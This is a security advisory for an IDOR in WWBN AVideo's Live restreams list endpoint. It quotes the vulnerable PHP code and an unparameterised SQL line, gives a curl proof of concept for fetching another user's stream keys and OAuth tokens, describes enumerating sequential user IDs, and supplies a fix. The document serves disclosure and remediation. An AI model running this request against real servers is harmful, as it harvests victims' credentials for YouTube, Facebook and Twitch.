WWBN AVideo has an IDOR in Live Restreams list.json.php Exposes Other Users' Stream Keys and OAuth Tokens

Summary

The endpoint plugin/Live/view/Live_restreams/list.json.php contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (access_token, refresh_token) for services like YouTube Live, Facebook Live, and Twitch.

Details

The authorization logic in list.json.php is intended to restrict non-admin users to viewing only their own restream records. However, the implementation at lines 10-14 only enforces this when the users_id GET parameter is absent:

// plugin/Live/view/Live_restreams/list.json.php:6-19
if (!User::canStream()) {
    die('{"data": []}');
}

if (empty($_GET['users_id'])) {       // Line 10: only triggers when param is MISSING
    if (!User::isAdmin()) {
        $_GET['users_id'] = User::getId();  // Line 12: force to own ID
    }
}

if (empty($_GET['users_id'])) {
    $rows = Live_restreams::getAll();
} else {
    $rows = Live_restreams::getAllFromUser($_GET['users_id'], "");  // Line 19: attacker-controlled ID
}

When a non-admin user explicitly supplies ?users_id=<victim_id>, the value is non-empty, so the override at line 12 is never reached. The attacker-controlled ID passes directly to getAllFromUser(), which executes:

// plugin/Live/Objects/Live_restreams.php:90
$sql = "SELECT * FROM live_restreams WHERE users_id = $users_id";

This returns all columns from the live_restreams table, including:

• stream_key (VARCHAR 500) — the victim's RTMP stream key for third-party platforms
• stream_url (VARCHAR 500) — the RTMP ingest endpoint
• parameters (TEXT) — JSON blob containing OAuth credentials (access_token, refresh_token, expires_at) obtained via the restream.ypt.me OAuth flow

Other endpoints in the same directory correctly validate ownership. For example, delete.json.php:19:

if (!User::isAdmin() && $row->getUsers_id() != User::getId()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

This ownership check is missing from list.json.php.

PoC

Prerequisites: Two user accounts — attacker (user ID 2, streaming permission) and victim (user ID 1, has configured restreams with third-party platform keys).

Step 1: Attacker authenticates and retrieves their session cookie.

Step 2: Attacker requests victim's restream list:

curl -s -b 'PHPSESSID=<attacker_session>' \
  'https://target.com/plugin/Live/view/Live_restreams/list.json.php?users_id=1'

Expected response (normal behavior): Empty data or error.

Actual response: Full restream records for user ID 1:

{
  "data": [
    {
      "id": 1,
      "name": "YouTube Live",
      "stream_url": "rtmp://a.rtmp.youtube.com/live2",
      "stream_key": "xxxx-xxxx-xxxx-xxxx-xxxx",
      "parameters": "{\"access_token\":\"ya29.a0A...\",\"refresh_token\":\"1//0e...\",\"expires_at\":1712600000}",
      "users_id": 1,
      "status": "a"
    }
  ]
}

Step 3: Attacker can enumerate all user IDs (1, 2, 3, ...) to harvest all configured restream credentials across the platform.

Impact

• Credential theft: Attacker obtains third-party platform stream keys and OAuth tokens (access_token, refresh_token) for all users who have configured live restreaming.
• Unauthorized broadcasting: Stolen RTMP stream keys allow the attacker to broadcast arbitrary content to the victim's YouTube, Facebook, or Twitch channels.
• OAuth token abuse: Stolen refresh tokens can be used to obtain new access tokens, providing persistent access to the victim's third-party accounts within the scope of the original OAuth grant.
• Full enumeration: User IDs are sequential integers, enabling trivial enumeration of all platform users' restream credentials.

Recommended Fix

Add an ownership check in list.json.php consistent with the pattern used in delete.json.php and add.json.php:

// plugin/Live/view/Live_restreams/list.json.php — replace lines 10-14
if (!User::isAdmin()) {
    $_GET['users_id'] = User::getId();
}

This unconditionally forces non-admin users to their own user ID, regardless of whether the users_id parameter was supplied. The empty() check should be removed so that the parameter cannot be used to bypass the restriction.